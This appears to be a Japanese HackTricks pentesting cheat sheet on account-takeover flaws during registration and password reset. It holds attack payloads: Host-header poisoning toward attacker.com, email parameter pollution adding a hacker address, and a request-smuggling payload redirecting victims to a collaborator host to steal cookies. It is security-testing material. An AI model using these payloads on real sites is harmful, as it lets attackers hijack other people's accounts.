# 登録および乗っ取りの脆弱性 {{#include ../banners/hacktricks-training.md}} ## 登録乗っ取り ### 重複登録 - 既存のユーザー名を使用して生成を試みる - メールアドレスを変えて確認する: - 大文字 - \+1@ - メールにドットを追加する - メール名に特殊文字 (%00, %09, %20) - メールの後に黒い文字を入れる: `test@test.com a` - victim@gmail.com@attacker.com - victim@attacker.com@gmail.com ### ユーザー名列挙 アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。 ### パスワードポリシー ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。\ その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。 ### SQLインジェクション [**このページを確認**](sql-injection/index.html#insert-statement)して、アカウントの乗っ取りを試みたり、**SQLインジェクション**を通じて情報を抽出する方法を学ぶ。 ### Oauth乗っ取り {{#ref}} oauth-to-account-takeover.md {{#endref}} ### SAML脆弱性 {{#ref}} saml-attacks/ {{#endref}} ### メール変更 登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。 ### その他のチェック - **使い捨てメール**が使用できるか確認する - **長い** **パスワード** (>200) は **DoS** を引き起こす - **アカウント作成のレート制限を確認する** - username@**burp_collab**.netを使用し、**コールバック**を分析する ## **パスワードリセット乗っ取り** ### リファラー経由のパスワードリセットトークン漏洩 1. 自分のメールアドレスにパスワードリセットをリクエストする 2. パスワードリセットリンクをクリックする 3. パスワードを変更しない 4. 3rdパーティのウェブサイトをクリックする(例: Facebook, Twitter) 5. Burp Suiteプロキシでリクエストを傍受する 6. refererヘッダーがパスワードリセットトークンを漏洩しているか確認する。 ### パスワードリセットポイズニング 1. Burp Suiteでパスワードリセットリクエストを傍受する 2. Burp Suiteで次のヘッダーを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. 修正されたヘッダーでリクエストを転送する\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. _hostヘッダー_に基づいてパスワードリセットURLを探す: `https://attacker.com/reset-password.php?token=TOKEN` ### メールパラメータ経由のパスワードリセット ```powershell # parameter pollution email=victim@mail.com&email=hacker@mail.com # array of emails {"email":["victim@mail.com","hacker@mail.com"]} # carbon copy email=victim@mail.com%0A%0Dcc:hacker@mail.com email=victim@mail.com%0A%0Dbcc:hacker@mail.com # separator email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` ### IDOR on API Parameters 1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。 2. Burp Suiteを起動し、リクエストをインターセプトします。 3. リピータタブに送信し、パラメータを編集します:ユーザーID/メール\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Weak Password Reset Token パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\ トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。 - タイムスタンプ - ユーザーID - ユーザーのメール - 名と姓 - 生年月日 - 暗号化 - 数字のみ - 小さなトークンシーケンス(文字は\[A-Z,a-z,0-9]の間) - トークンの再利用 - トークンの有効期限 ### Leaking Password Reset Token 1. 特定のメール(例:test@mail.com)を使用してAPI/UIからパスワードリセットリクエストをトリガーします。 2. サーバーの応答を検査し、`resetToken`を確認します。 3. 次に、トークンをURLに使用します:`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` ### Password Reset Via Username Collision 1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "` 2. 悪意のあるユーザー名でパスワードリセットをリクエストします。 3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。 4. 新しいパスワードで被害者のアカウントに接続します。 プラットフォームCTFdはこの攻撃に対して脆弱でした。\ 参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Account Takeover Via Cross Site Scripting 1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合:`*.domain.com` 2. 現在の**セッションクッキー**を漏洩させます。 3. クッキーを使用してユーザーとして認証します。 ### Account Takeover Via HTTP Request Smuggling 1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプ(CL、TE、CL.TE)を検出します。\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\ 3\. 最終リクエストは次のようになる可能性があります。 ``` GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` Hackeroneはこのバグを悪用した報告をしています\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) ### CSRFによるアカウント乗っ取り 1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム” 2. ペイロードを送信します ### JWTによるアカウント乗っ取り JSON Web Tokenはユーザーを認証するために使用されることがあります。 - 別のユーザーID / メールでJWTを編集します - 弱いJWT署名を確認します {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} ## 参考文献 - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) {{#include ../banners/hacktricks-training.md}}